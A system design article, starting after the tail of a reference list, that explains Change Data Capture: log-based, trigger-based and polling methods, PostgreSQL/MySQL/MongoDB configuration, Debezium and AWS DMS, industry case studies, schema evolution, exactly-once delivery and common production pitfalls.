- [Chris Kiehl - Event Sourcing is Hard](https://chriskiehl.com/article/event-sourcing-is-hard) - Debugging reality check
- [Serialized.io - Why Kafka is Not for Event Sourcing](https://serialized.io/blog/apache-kafka-is-not-for-event-sourcing/) - Technology selection guidance

#### GDPR and Compliance

- [Mathias Verraes - Crypto Shredding Pattern](https://verraes.net/2019/05/eventsourcing-patterns-throw-away-the-key/) - Data deletion strategy
- [Event-Driven.io - GDPR in Event-Driven Architecture](https://event-driven.io/en/gdpr_in_event_driven_architecture/) - Compliance patterns

#### Tools and Frameworks

- [EventStoreDB Documentation](https://developers.eventstore.com/) - Purpose-built event store
- [LMAX Disruptor](https://lmax-exchange.github.io/disruptor/) - High-performance ring buffer
- [Axon Framework](https://www.axoniq.io/framework) - Java CQRS/ES toolkit (70M+ downloads)
- [Temporal.io](https://temporal.io/) - Durable execution platform (Cadence fork)

---

## Change Data Capture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/change-data-capture
**Category:** System Design / Core Distributed Patterns
**Description:** Change Data Capture (CDC) extracts and streams database changes to downstream systems in real-time. Rather than polling databases or maintaining dual-write logic, CDC reads directly from the database’s internal change mechanisms—transaction logs, replication streams, or triggers—providing a reliable, non-invasive way to propagate data changes across systems.This article covers CDC approaches, log-based implementation internals, production patterns, and when each variant makes sense.

# Change Data Capture

Change Data Capture (CDC) extracts and streams database changes to downstream systems in real-time. Rather than polling databases or maintaining dual-write logic, CDC reads directly from the database's internal change mechanisms—transaction logs, replication streams, or triggers—providing a reliable, non-invasive way to propagate data changes across systems.

This article covers CDC approaches, log-based implementation internals, production patterns, and when each variant makes sense.

<figure>

![CDC captures changes from the database's transaction log and emits structured change events to downstream consumers—each event contains the operation type, before/after state, and source metadata.](./cdc-captures-changes-from-the-database-s-transaction-log-and-emits-structured-ch.svg)

<figcaption>CDC captures changes from the database's transaction log and emits structured change events to downstream consumers—each event contains the operation type, before/after state, and source metadata.</figcaption>
</figure>

## Abstract

CDC provides **eventually-consistent data propagation** without application-level dual writes. The fundamental insight: databases already track all changes internally for durability and replication—CDC exposes this stream externally.

**Core mental model:**

- **Log-based CDC** reads the database's Write-Ahead Log (WAL) or binary log. Non-invasive, captures all changes including those from direct SQL. The gold standard for production.
- **Trigger-based CDC** uses database triggers to capture changes. Higher database overhead, but works when log access is unavailable.
- **Polling-based CDC** queries for changes via timestamps or sequence columns. Misses hard deletes, adds query load, but requires no special database access.

**Key insight**: The choice between approaches is a **source access vs. operational complexity** tradeoff. Log-based requires database configuration and replication slots but captures everything with minimal overhead. Polling requires no special access but misses deletions and adds query load.

**Production reality**: Log-based CDC dominates production systems. Debezium (open-source) and AWS DMS (managed) are the primary tools. Most implementations use Kafka as the change event transport.

## The Problem

### Why Naive Solutions Fail

**Approach 1: Dual Writes in Application Code**

```typescript collapse={1-5}
async function updateUser(userId: string, data: UserData) {
  await db.users.update(userId, data)
  await kafka.publish("users", { op: "UPDATE", after: data })
}
```

Fails because:

- **Partial failures**: Database commits but Kafka publish fails. Data is now inconsistent.
- **Distributed transaction complexity**: 2PC across database and Kafka is slow and fragile.
- **Missed changes**: Direct SQL updates, migrations, and other services bypass the publish logic.
- **Ordering**: No guarantee that Kafka messages arrive in commit order.

**Approach 2: Polling with Timestamps**

```sql
SELECT * FROM users WHERE updated_at > :last_poll_time
```

Fails because:

- **Misses hard deletes**: Deleted rows don't appear in query results.
- **Clock skew**: `updated_at` timestamp may not reflect actual commit order across replicas.
- **Polling interval trade-off**: Frequent polling adds load; infrequent polling adds latency.
- **Transaction visibility**: May read uncommitted or partially committed transactions.

**Approach 3: Trigger-Based Capture**

```sql
CREATE TRIGGER user_changes AFTER INSERT OR UPDATE OR DELETE ON users
FOR EACH ROW EXECUTE FUNCTION capture_change();
```

Fails at scale because:

- **Transaction overhead**: Trigger executes within the transaction, adding latency to every write.
- **Lock contention**: Writing to a change table can create lock conflicts.
- **Operational burden**: Triggers must be maintained across schema changes.

### The Core Challenge

The fundamental tension: **application code cannot reliably capture all database changes without the database's cooperation**. Direct SQL, stored procedures, migrations, and multiple services all modify data outside application control.

CDC resolves this by **reading changes where they're already reliably recorded**—the database's transaction log. This log exists for durability and replication; CDC treats it as a public API.

## CDC Approaches

### Log-Based CDC (Primary Approach)

**How it works:**

1. CDC connector acts as a replica consumer for the database's transaction log
2. Connector maintains position (LSN, binlog coordinates, or GTID) for resumability
3. Changes parsed from binary log format into structured events
4. Events published to message broker, maintaining transaction boundaries

**Database-specific mechanisms:**

| Database   | Log Type              | Access Method            | Position Tracking         |
| ---------- | --------------------- | ------------------------ | ------------------------- |
| PostgreSQL | WAL (Write-Ahead Log) | Logical Replication Slot | LSN (Log Sequence Number) |
| MySQL      | Binary Log            | Binlog client protocol   | GTID or file:position     |
| MongoDB    | Oplog                 | Change Streams API       | Resume token              |
| SQL Server | Transaction Log       | CDC tables or log reader | LSN                       |

**Why log-based is preferred:**

- **Complete capture**: Every committed change, including DDL, is in the log
- **Minimal overhead**: Reading the log adds no load to write path
- **Transactional boundaries**: Changes can be grouped by transaction
- **Ordering guarantees**: Log order matches commit order

**Trade-offs:**

| Advantage                      | Disadvantage                    |
| ------------------------------ | ------------------------------- |
| Captures all changes           | Requires database configuration |
| No write-path overhead         | Log format is database-specific |
| Transaction ordering preserved | Replication slot management     |
| Includes deletes and DDL       | Requires log retention tuning   |

### Trigger-Based CDC

**How it works:**

1. Create triggers on source tables for INSERT, UPDATE, DELETE
2. Triggers write change records to shadow tables
3. Separate process polls shadow tables and publishes events
4. Shadow table records deleted after successful publish

**When to choose:**

- Log-based access unavailable (managed databases, permission restrictions)
- Only specific tables need capture (trigger overhead is localized)
- Legacy databases without logical replication support

**Trade-offs:**

| Advantage                             | Disadvantage                     |
| ------------------------------------- | -------------------------------- |
| Works without special database access | Adds latency to every write      |
| Full control over captured data       | Trigger maintenance overhead     |
| Selective capture                     | Lock contention on shadow tables |

### Polling-Based CDC

**How it works:**

1. Query source tables periodically for changes since last poll
2. Use `updated_at` timestamp or sequence column to identify changes
3. Mark captured rows or track high-water mark
4. Publish changes to downstream systems

**When to choose:**

- Read replica available for polling (isolates from production writes)
- Soft deletes only (hard deletes not used)
- Near-real-time acceptable (seconds to minutes latency)

**Limitations:**

- Cannot capture hard deletes without tombstone markers
- Timestamp precision issues (multiple changes within same timestamp)
- Must poll frequently to approach real-time
- No transaction grouping

### Decision Framework

![Diagram](./diagram-1.svg)

## Log-Based CDC Internals

### PostgreSQL: WAL and Logical Replication

PostgreSQL's CDC uses **logical replication**, which decodes the physical WAL into logical change events.

**Architecture:**

![Diagram](./diagram-2.svg)

**Configuration requirements:**

```sql
-- postgresql.conf
wal_level = logical                    -- Required for logical replication
max_replication_slots = 4              -- One per CDC connector
max_wal_senders = 4                    -- Connections for replication

-- Create replication slot (done by Debezium automatically)
SELECT pg_create_logical_replication_slot('debezium', 'pgoutput');
```

**Output plugins:**

| Plugin          | Output Format   | Use Case                                        |
| --------------- | --------------- | ----------------------------------------------- |
| `pgoutput`      | Binary protocol | Native PostgreSQL replication, Debezium default |
| `wal2json`      | JSON            | External systems requiring JSON                 |
| `test_decoding` | Text            | Debugging and testing                           |

**Critical operational concern—slot bloat:**

PostgreSQL retains WAL as long as a replication slot hasn't consumed it. If a CDC connector goes down:

```sql
-- Monitor slot lag
SELECT slot_name,
       pg_size_pretty(pg_wal_lsn_diff(pg_current_wal_lsn(), restart_lsn)) AS lag
FROM pg_replication_slots;

-- Set maximum retained WAL (PostgreSQL 13+)
ALTER SYSTEM SET max_slot_wal_keep_size = '10GB';
```

Without `max_slot_wal_keep_size`, an inactive slot can fill the disk. This is the most common CDC production incident.

**Version evolution:**

> **PostgreSQL 17 (2024)**: Introduced logical replication failover. Replication slot state can be synchronized to standby servers, enabling CDC continuity during primary failover. Prior versions required re-snapshotting after failover.

### MySQL: Binary Log

MySQL's CDC reads the binary log, which records all data modifications.

**Configuration requirements:**

```ini
# my.cnf
server-id = 1                          # Unique across replication topology
log_bin = mysql-bin                    # Enable binary logging
binlog_format = ROW                    # Required: ROW format (not STATEMENT)
binlog_row_image = FULL                # Capture before and after state
expire_logs_days = 3                   # Retention period
```

**GTID (Global Transaction ID):**

GTIDs uniquely identify transactions across the replication topology, enabling position-independent replication.

```sql
-- Enable GTID mode
gtid_mode = ON
enforce_gtid_consistency = ON

-- Format: server_uuid:transaction_id
-- Example: 3E11FA47-71CA-11E1-9E33-C80AA9429562:23
```

**Why GTID matters for CDC:**

- **Resumability**: CDC connector can resume from GTID regardless of binlog file rotation
- **Failover**: After primary failover, GTID identifies exactly which transactions to resume from
- **Multi-source**: When capturing from multiple MySQL instances, GTIDs prevent duplicate processing

**Binlog format comparison:**

| Format    | Content                             | CDC Compatibility                        |
| --------- | ----------------------------------- | ---------------------------------------- |
| STATEMENT | SQL statements                      | Poor—cannot determine actual row changes |
| ROW       | Actual row changes                  | Required for CDC                         |
| MIXED     | Statement or row depending on query | Unreliable for CDC                       |

### MongoDB: Change Streams

MongoDB provides Change Streams, a high-level API over the oplog (operations log).

```typescript collapse={1-3}
const client = new MongoClient(uri)
const db = client.db("mydb")

// Watch collection-level changes
const changeStream = db.collection("users").watch([], {
  fullDocument: "updateLookup", // Include full document on updates
  fullDocumentBeforeChange: "whenAvailable", // Include before-image (MongoDB 6.0+)
})

changeStream.on("change", (change) => {
  // change.operationType: 'insert' | 'update' | 'delete' | 'replace'
  // change.fullDocument: current document state
  // change.fullDocumentBeforeChange: previous state (if configured)
  // change._id: resume token for resumability
})
```

**Key differences from relational CDC:**

- **Schema-free**: Documents can vary; change events reflect actual structure
- **Nested changes**: Updates to nested fields captured as partial updates
- **Resume tokens**: Opaque tokens for resumability (vs. LSN/GTID)

**Limitation**: Change Streams require replica set or sharded cluster. Single-node MongoDB doesn't support CDC.

## Design Paths

### Path 1: Debezium + Kafka Connect

**Context**: Open-source CDC platform. Most popular choice for self-managed CDC.

**Architecture:**

![Diagram](./diagram-3.svg)

**When to choose this path:**

- Self-managed infrastructure with Kafka already in place
- Need sub-second latency
- Require full control over configuration and schema handling
- Multi-database environments

**Key characteristics:**

- One Kafka topic per table (configurable)
- Schema Registry integration for Avro/Protobuf/JSON Schema
- Exactly-once semantics with Kafka 3.3.0+ and KRaft
- Snapshot for initial data load, then streaming

**Configuration example:**

```json collapse={1-2, 15-25}
{
  "name": "users-connector",
  "config": {
    "connector.class": "io.debezium.connector.postgresql.PostgresConnector",
    "database.hostname": "db.example.com",
    "database.port": "5432",
    "database.user": "debezium",
    "database.password": "${secrets:postgres/password}",
    "database.dbname": "myapp",
    "topic.prefix": "myapp",
    "table.include.list": "public.users,public.orders",
    "slot.name": "debezium_users",
    "publication.name": "dbz_publication",
    "snapshot.mode": "initial",
    "key.converter": "io.confluent.connect.avro.AvroConverter",
    "key.converter.schema.registry.url": "http://schema-registry:8081",
    "value.converter": "io.confluent.connect.avro.AvroConverter",
    "value.converter.schema.registry.url": "http://schema-registry:8081",
    "transforms": "unwrap",
    "transforms.unwrap.type": "io.debezium.transforms.ExtractNewRecordState",
    "transforms.unwrap.drop.tombstones": "false",
    "transforms.unwrap.delete.handling.mode": "rewrite"
  }
}
```

**Trade-offs vs other paths:**

| Aspect             | Debezium            | AWS DMS         | Fivetran         |
| ------------------ | ------------------- | --------------- | ---------------- |
| Latency            | Sub-second          | Seconds-minutes | Seconds-minutes  |
| Cost (100GB/day)   | Infrastructure only | ~$200-400/mo    | ~$1,500-3,000/mo |
| Operational burden | High                | Low             | Very low         |
| Customization      | Full control        | Limited         | Limited          |
| Schema handling    | Schema Registry     | Basic           | Automatic        |

**Real-world: Shopify**

Shopify migrated from query-based to Debezium CDC:

- **Scale**: 173B requests on Black Friday 2024, 12TB data/minute peak
- **Implementation**: Debezium + Kafka Connect on Kubernetes
- **Outcome**: Real-time analytics replaced batch processing; fraud detection went from minutes to milliseconds

### Path 2: AWS Database Migration Service

**Context**: Managed CDC service integrated with AWS ecosystem.

**Architecture:**

![Diagram](./diagram-4.svg)

**When to choose this path:**

- AWS-centric infrastructure
- Prefer managed over self-managed
- Target is AWS service (S3, Redshift, DynamoDB)
- Batch/near-real-time acceptable (not sub-second)

**Key characteristics:**

- Full load + ongoing CDC in single task
- Automatic schema migration (optional)
- Built-in monitoring via CloudWatch
- No Kafka required (direct to S3/Redshift)

**Limitations:**

- **Tables without primary keys**: Skipped during CDC (critical gap)
- **Latency**: Seconds to minutes, not sub-second
- **Large transactions**: Can cause significant lag
- **DDL propagation**: Limited support; may require manual intervention

**Cost model (2025):**

| Component            | Pricing                             |
| -------------------- | ----------------------------------- |
| Replication instance | $0.016-$0.624/hour (size-dependent) |
| Data transfer        | Standard AWS rates                  |
| Storage              | $0.10/GB-month                      |

### Path 3: Maxwell's Daemon (MySQL-Specific)

**Context**: Lightweight MySQL CDC tool. Simpler than Debezium for MySQL-only environments.

**Architecture:**

![Diagram](./diagram-5.svg)

**When to choose:**

- MySQL only
- Want simpler deployment than full Kafka Connect
- JSON output acceptable (no schema registry)
- Lower operational overhead priority

**Output format:**

```json
{
  "database": "myapp",
  "table": "users",
  "type": "update",
  "ts": 1706745600,
  "data": { "id": 1, "name": "Alice", "email": "alice@example.com" },
  "old": { "name": "Old Name" }
}
```

**Trade-offs:**

| Advantage               | Disadvantage                 |
| ----------------------- | ---------------------------- |
| Simple deployment       | MySQL only                   |
| Multiple output targets | No schema registry           |
| Lightweight             | Less mature ecosystem        |
| Easy JSON parsing       | Single-threaded per database |

### Comparison Matrix

| Factor             | Debezium        | AWS DMS         | Maxwell      | Fivetran        |
| ------------------ | --------------- | --------------- | ------------ | --------------- |
| Databases          | 10+             | 20+             | MySQL only   | 500+            |
| Latency            | Sub-second      | Seconds-minutes | Sub-second   | Seconds-minutes |
| Deployment         | Self-managed    | Managed         | Self-managed | SaaS            |
| Schema evolution   | Schema Registry | Basic           | JSON only    | Automatic       |
| Cost at scale      | Low (infra)     | Medium          | Low          | High            |
| Operational burden | High            | Low             | Medium       | Very low        |

## Production Implementations

### LinkedIn: Databus

**Context**: LinkedIn built Databus (2012) as one of the first production CDC systems. Open-sourced; influenced later designs.

**Architecture:**

![Diagram](./diagram-6.svg)

**Implementation details:**

- **Relay pattern**: Relays pull from OLTP database, deserialize to Avro, store in circular memory buffer
- **Bootstrap service**: Provides full data snapshots for new consumers or catch-up
- **Infinite lookback**: New consumers can request full dataset without stressing production database
- **Transactional ordering**: Preserves commit order within source

**Scale:**

- Thousands of events/second per relay server
- Millisecond end-to-end latency
- Powers: Social Graph Index, People Search Index, member profile replicas

**Key insight from LinkedIn:**

> "The relay maintains a sliding time window of changes in memory. Consumers that fall behind can catch up from the relay; consumers that fall too far behind bootstrap from a snapshot and then resume streaming."

### Airbnb: SpinalTap + Riverbed

**Context**: Airbnb uses CDC for their materialized views framework, processing billions of events daily.

**SpinalTap (CDC layer):**

- Scalable CDC across MySQL, DynamoDB, and internal storage
- Kafka as event transport
- Handles sharded monolith with transactional consistency

**Riverbed (materialized views):**

![Diagram](./diagram-7.svg)

**Scale (2024):**

- 2.4 billion CDC events per day
- 350 million documents written daily to materialized views
- 50+ materialized views (search, payments, reviews, itineraries)
- Lambda architecture: Kafka (online) + Spark (offline)

**What worked:**

- GraphQL DSL for declarative view definitions
- Automatic schema evolution handling
- Real-time search index updates

### Netflix: DBLog

**Context**: Netflix developed DBLog for CDC across heterogeneous databases.

**Key innovation—incremental snapshots:**

Traditional CDC: Full snapshot (locks table) → Start streaming

DBLog approach:

```
1. Start CDC streaming (no snapshot)
2. Incrementally snapshot in chunks:
   - Select small range by primary key
   - Emit snapshot events
   - Continue streaming concurrently
3. Reconcile snapshot with streaming at consumer
```

**Benefits:**

- No long-running locks or table copies
- Snapshot can be paused/resumed
- Works alongside live traffic

**Production since 2018:**

- Powers Delta platform (data synchronization)
- Studio applications event processing
- Connectors for MySQL, PostgreSQL, CockroachDB, Cassandra

### WePay: Cassandra CDC

**Context**: WePay (now part of Chase) built CDC for Cassandra, which lacks native CDC support.

**Implementation:**

![Diagram](./diagram-8.svg)

**Key design decisions:**

- **Agent per node**: Each Cassandra node has a local CDC agent reading commit logs
- **Primary agent pattern**: Each agent is "primary" for a subset of partition keys, avoiding duplicates
- **Exactly-once**: Achieved at agent level through offset tracking

**Open-sourced**: Now part of Debezium as incubating Cassandra connector.

### Implementation Comparison

| Aspect            | LinkedIn Databus  | Airbnb SpinalTap   | Netflix DBLog        | WePay Cassandra       |
| ----------------- | ----------------- | ------------------ | -------------------- | --------------------- |
| Primary database  | Oracle/MySQL      | MySQL/DynamoDB     | Heterogeneous        | Cassandra             |
| Snapshot approach | Bootstrap server  | Full then stream   | Incremental chunks   | N/A (no snapshot)     |
| Scale             | Thousands/sec     | Billions/day       | Studio-scale         | Payments-scale        |
| Open-source       | Yes (archived)    | No                 | Concepts only        | Yes (Debezium)        |
| Key innovation    | Relay + bootstrap | Materialized views | Incremental snapshot | Primary agent pattern |

## Schema Evolution

### The Schema Challenge

CDC events must carry schema information. When source schema changes, downstream consumers must handle the evolution.

**Problem scenarios:**

1. **Column added**: New events have field; old events don't
2. **Column removed**: Old events have field; new events don't
3. **Column renamed**: Appears as remove + add
4. **Type changed**: `INT` → `BIGINT`, `VARCHAR(50)` → `VARCHAR(100)`

### Schema Registry Integration

![Diagram](./diagram-9.svg)

**How it works:**

1. CDC connector serializes event with schema
2. Schema registered in Schema Registry (if new)
3. Event includes schema ID reference (not full schema)
4. Consumer fetches schema by ID, caches locally
5. Consumer deserializes using fetched schema

**Compatibility modes:**

| Mode     | Allows                       | Use Case                           |
| -------- | ---------------------------- | ---------------------------------- |
| BACKWARD | New schema can read old data | Consumers updated before producers |
| FORWARD  | Old schema can read new data | Producers updated before consumers |
| FULL     | Both directions              | Most restrictive; safest           |
| NONE     | Any change                   | Development only                   |

**Recommended approach**: BACKWARD_TRANSITIVE (all previous versions readable by latest)

### Handling DDL Changes

**Safe operations (backward compatible):**

- Add nullable column
- Add column with default value
- Increase column size (`VARCHAR(50)` → `VARCHAR(100)`)

**Breaking operations (require coordination):**

- Remove column
- Rename column
- Change column type
- Add NOT NULL column without default

**Migration pattern for breaking changes:**

```
1. Add new column (nullable)
2. Deploy producers writing to new column
3. Backfill new column from old column
4. Deploy consumers reading new column
5. Stop writing old column
6. Remove old column
```

### Debezium Schema Handling

Debezium can be configured to:

```json
{
  "schema.history.internal.kafka.topic": "schema-changes.myapp",
  "schema.history.internal.kafka.bootstrap.servers": "kafka:9092",
  "include.schema.changes": "true"
}
```

**Schema change events:**

```json
{
  "source": { "table": "users", "db": "myapp" },
  "ddl": "ALTER TABLE users ADD COLUMN phone VARCHAR(20)",
  "databaseName": "myapp",
  "tableChanges": [{
    "type": "ALTER",
    "id": "myapp.users",
    "table": {
      "columns": [...]
    }
  }]
}
```

## Exactly-Once Semantics

### The Delivery Challenge

CDC involves multiple hops where failures can occur:

```
Database → CDC Connector → Kafka → Consumer → Target System
```

Each transition can fail after partial completion.

### Kafka Exactly-Once (Since 0.11.0)

**Idempotent producer:**

```properties
enable.idempotence=true
```

Producer assigns sequence number to each message. Broker deduplicates by (producer_id, sequence).

**Transactional writes:**

```java
producer.initTransactions();
producer.beginTransaction();
producer.send(record1);
producer.send(record2);
producer.commitTransaction(); // Atomic: all or nothing
```

**Consumer isolation:**

```properties
isolation.level=read_committed
```

Consumer only sees committed transactional messages.

### Debezium EOS (Kafka 3.3.0+)

Debezium source connectors support exactly-once when:

1. Kafka Connect configured for exactly-once source
2. Kafka version 3.3.0+ with KRaft
3. Connector offset storage in Kafka

```properties
# Kafka Connect worker config
exactly.once.source.support=enabled
```

**How it works:**

1. Connector reads changes and offset atomically
2. Writes records + offset update in single Kafka transaction
3. On restart, resumes from last committed offset
4. No duplicate events published to Kafka

**Important caveat**: This is exactly-once from database to Kafka. Consumer-to-target still needs idempotent handling.

### End-to-End Exactly-Once

For true end-to-end exactly-once:

![Diagram](./diagram-10.svg)

Consumer-side idempotency:

```typescript collapse={1-5}
async function processChange(change: ChangeEvent) {
  const key = `${change.source.table}:${change.key}`
  const version = change.source.lsn

  // Idempotent upsert using source version
  await target.upsert(
    {
      id: key,
      data: change.after,
      _version: version,
    },
    {
      where: { _version: { lt: version } }, // Only apply if newer
    },
  )
}
```

## CDC Consumer Patterns

### Transactional Outbox Integration

The **transactional outbox pattern** ensures reliable event publishing by writing events to a database table (outbox) within the same transaction as business data.

![Diagram](./diagram-11.svg)

**CDC as outbox relay:**

```sql
-- Outbox table
CREATE TABLE outbox (
    id UUID PRIMARY KEY,
    aggregate_type VARCHAR(255),
    aggregate_id VARCHAR(255),
    type VARCHAR(255),
    payload JSONB,
    created_at TIMESTAMP DEFAULT NOW()
);

-- Application writes to outbox in same transaction
BEGIN;
UPDATE users SET email = 'new@example.com' WHERE id = 123;
INSERT INTO outbox (id, aggregate_type, aggregate_id, type, payload)
VALUES (gen_random_uuid(), 'User', '123', 'EmailChanged', '{"email": "new@example.com"}');
COMMIT;
```

**Debezium outbox transform:**

```json
{
  "transforms": "outbox",
  "transforms.outbox.type": "io.debezium.transforms.outbox.EventRouter",
  "transforms.outbox.table.field.event.key": "aggregate_id",
  "transforms.outbox.table.field.event.payload": "payload",
  "transforms.outbox.route.topic.replacement": "events.${routedByValue}"
}
```

### Cache Invalidation

CDC enables event-driven cache invalidation without TTL guessing:

![Diagram](./diagram-12.svg)

**Implementation:**

```typescript collapse={1-8}
interface ChangeEvent {
  op: "c" | "u" | "d" // create, update, delete
  before: Record<string, unknown> | null
  after: Record<string, unknown> | null
  source: { table: string }
}

async function handleChange(change: ChangeEvent) {
  const table = change.source.table
  const key = change.after?.id ?? change.before?.id

  // Invalidate cache entry
  await redis.del(`${table}:${key}`)

  // Optional: warm cache with new value
  if (change.op !== "d" && change.after) {
    await redis.setex(`${table}:${key}`, 3600, JSON.stringify(change.after))
  }
}
```

**Benefits over TTL:**

- Immediate invalidation (sub-second vs. minutes/hours)
- No stale reads from long TTLs
- No thundering herd from short TTLs

### Search Index Synchronization

CDC keeps search indices in sync with source of truth:

![Diagram](./diagram-13.svg)

**Kafka Connect Elasticsearch sink:**

```json
{
  "connector.class": "io.confluent.connect.elasticsearch.ElasticsearchSinkConnector",
  "topics": "myapp.public.products",
  "connection.url": "http://elasticsearch:9200",
  "type.name": "_doc",
  "key.ignore": "false",
  "schema.ignore": "true",
  "behavior.on.null.values": "delete"
}
```

**Handling deletions:**

- Debezium emits tombstone (null value) for deletes
- Sink connector translates tombstone to Elasticsearch delete
- Index stays synchronized including deletions

### Analytics Pipeline Feeding

CDC enables real-time analytics without batch ETL:

![Diagram](./diagram-14.svg)

**Lambda architecture simplification:**

| Traditional                | CDC-Based                          |
| -------------------------- | ---------------------------------- |
| Batch ETL (daily) + Stream | Single CDC stream                  |
| Batch for completeness     | Snapshot + stream for completeness |
| Hours-old data             | Seconds-old data                   |
| Multiple pipelines         | Single pipeline                    |

## Common Pitfalls

### 1. Replication Slot Disk Bloat (PostgreSQL)

**The mistake**: Not monitoring replication slot lag.

**What happens**: CDC connector goes down or can't keep up. PostgreSQL retains all WAL since last consumed position. Disk fills. Database crashes.

**Example**: Connector had network issue for 2 hours. 50GB of WAL accumulated. Recovery required manual slot deletion and re-snapshot.

**Solutions:**

```sql
-- Monitor slot lag
SELECT slot_name,
       pg_size_pretty(pg_wal_lsn_diff(pg_current_wal_lsn(), restart_lsn)) AS lag,
       active
FROM pg_replication_slots;

-- Set maximum retained WAL (PostgreSQL 13+)
ALTER SYSTEM SET max_slot_wal_keep_size = '10GB';

-- Alert on inactive slots
SELECT slot_name FROM pg_replication_slots WHERE NOT active;
```

### 2. Tables Without Primary Keys

**The mistake**: Creating tables without primary keys, then adding them to CDC.

**What happens**: AWS DMS skips these tables entirely during CDC. Debezium can capture but updates/deletes can't be keyed properly.

**Example**: Legacy table `audit_log` had no PK. Added to CDC scope. All changes captured as creates; updates appeared as new rows.

**Solutions:**

- Add primary keys to all tables before enabling CDC
- Use composite key if no natural key exists
- For truly keyless tables, add surrogate key column

### 3. Large Transaction Handling

**The mistake**: Running batch updates (millions of rows) during CDC operation.

**What happens**: Debezium buffers changes until transaction commits. Memory pressure. Downstream lag. Potential OOM.

**Example**: Nightly job updating 5M rows in single transaction. CDC connector memory spiked to 8GB, causing restart. Other tables' CDC delayed by 30 minutes.

**Solutions:**

- Break large updates into batches with commits
- Configure Debezium memory limits
- Schedule large batch jobs during low-traffic windows
- Use `incremental.snapshot` for backfills

### 4. Snapshot + Streaming Race Conditions

**The mistake**: Not understanding snapshot isolation during initial load.

**What happens**: Snapshot reads table at point-in-time. Streaming starts from "after snapshot." Changes during snapshot can be missed or duplicated.

**Example**:

1. Snapshot starts at LSN 100
2. Row inserted at LSN 150
3. Snapshot reads row (sees insertion)
4. Streaming starts at LSN 100
5. Streaming also captures insertion at LSN 150
6. Duplicate row in target

**Solutions:**

Debezium handles this correctly when configured properly:

```json
{
  "snapshot.mode": "initial",
  "snapshot.locking.mode": "minimal"
}
```

Consumer must be idempotent to handle potential duplicates during snapshot-to-streaming transition.

### 5. Schema Change During CDC

**The mistake**: Assuming DDL changes propagate seamlessly.

**What happens**:

- Column added: Old consumers fail parsing
- Column removed: Data loss if not handled
- Type changed: Deserialization errors

**Example**: Added `phone` column to `users` table. CDC captured the DDL. Downstream consumer's Avro schema didn't have `phone`. Consumer crashed with schema mismatch error.

**Solutions:**

- Use Schema Registry with BACKWARD compatibility
- Test schema changes in staging with CDC running
- Coordinate consumer deployments with schema changes
- Monitor for schema change events before production DDL

## Implementation Guide

### Starting Point Decision

![Diagram](./diagram-15.svg)

### Checklist for Production CDC

**Database preparation:**

- [ ] Enable logical replication/binary logging
- [ ] Create dedicated CDC user with minimal permissions
- [ ] Configure log retention appropriately
- [ ] Add primary keys to all tables in scope
- [ ] Test DDL change impact

**Infrastructure:**

- [ ] Kafka cluster sized for CDC throughput
- [ ] Schema Registry deployed and accessible
- [ ] Monitoring dashboards for connector lag
- [ ] Alerting on replication slot lag (PostgreSQL)
- [ ] Alerting on connector failures

**Operational:**

- [ ] Runbook for connector restart
- [ ] Runbook for re-snapshot after extended downtime
- [ ] Backup strategy for connector offsets
- [ ] Schema change coordination process
- [ ] Large transaction handling policy

### Capacity Planning

**Throughput estimation:**

```
CDC messages/sec ≈ (writes/sec to source tables) × (avg columns per table / 10)
```

Each CDC message size depends on row size and change type (update includes before/after).

**Kafka sizing:**

| Metric               | Recommendation                            |
| -------------------- | ----------------------------------------- |
| Partitions per topic | 2-3 × expected consumer parallelism       |
| Replication factor   | 3 (standard Kafka recommendation)         |
| Retention            | 7 days minimum (allows consumer recovery) |
| Broker disk          | 3 × (daily CDC volume) × retention days   |

## Conclusion

CDC transforms database changes into reliable event streams, enabling real-time data propagation without application-level dual writes. Log-based CDC—reading from WAL, binlog, or oplog—is the production standard, capturing all changes with minimal database impact.

**Key decisions:**

1. **Log-based vs. polling**: Log-based captures everything including deletes; polling is simpler but misses hard deletes and adds latency
2. **Debezium vs. managed**: Debezium offers sub-second latency and full control; managed services (DMS, Fivetran) reduce operational burden
3. **Schema evolution strategy**: Schema Registry with BACKWARD compatibility prevents consumer breakage

**Critical operational concerns:**

- PostgreSQL replication slot bloat is the most common production incident
- Large transactions can cause memory pressure and downstream lag
- Tables without primary keys create CDC gaps

**Start simple**: Single database → Debezium → Kafka → single consumer. Add complexity (schema registry, multiple sources, complex routing) as requirements demand.

## Appendix

### Prerequisites

- Database administration fundamentals (replication, transaction logs)
- Message broker concepts (Kafka topics, partitions, consumer groups)
- Distributed systems basics (eventual consistency, exactly-once semantics)

### Terminology

| Term                 | Definition                                                          |
| -------------------- | ------------------------------------------------------------------- |
| **WAL**              | Write-Ahead Log—PostgreSQL's transaction log for durability         |
| **Binlog**           | Binary Log—MySQL's log of all data modifications                    |
| **Oplog**            | Operations Log—MongoDB's capped collection recording writes         |
| **LSN**              | Log Sequence Number—position in PostgreSQL WAL                      |
| **GTID**             | Global Transaction ID—MySQL's cross-topology transaction identifier |
| **Replication slot** | PostgreSQL mechanism to track consumer position and retain WAL      |
| **Tombstone**        | Kafka message with null value indicating deletion                   |
| **Schema Registry**  | Service storing and versioning message schemas                      |
| **Snapshot**         | Initial full data load before streaming changes                     |

### Summary

- CDC extracts database changes from transaction logs without impacting write performance
- **Log-based CDC** (Debezium, DMS) is the production standard—captures all operations including deletes and DDL
- **PostgreSQL** uses logical replication slots; monitor `max_slot_wal_keep_size` to prevent disk bloat
- **MySQL** requires `binlog_format=ROW` and benefits from GTID for resumability across failover
- **Exactly-once semantics** require Kafka 3.3.0+ with KRaft; consumer-side idempotency for end-to-end guarantees
- **Schema evolution** needs Schema Registry with BACKWARD compatibility; coordinate schema changes with consumer deployments
- **Transactional outbox** pattern integrates naturally with CDC for reliable event publishing

### References

**Official Documentation:**

- [Debezium Documentation](https://debezium.io/documentation/reference/stable/architecture.html) - Architecture, connectors, and configuration
- [Debezium Exactly-Once Delivery](https://debezium.io/blog/2023/06/22/towards-exactly-once-delivery/) - EOS implementation details
- [PostgreSQL Logical Replication](https://www.postgresql.org/docs/current/logical-replication.html) - Native PostgreSQL replication
- [PostgreSQL Logical Decoding](https://www.postgresql.org/docs/current/logicaldecoding.html) - WAL decoding internals
- [MySQL Binary Log](https://dev.mysql.com/doc/refman/8.0/en/binary-log.html) - Binlog configuration and format
- [MySQL GTID](https://dev.mysql.com/doc/refman/8.4/en/replication-gtids-concepts.html) - Global Transaction ID concepts
- [MongoDB Change Streams](https://www.mongodb.com/docs/manual/changeStreams/) - Change Stream API reference
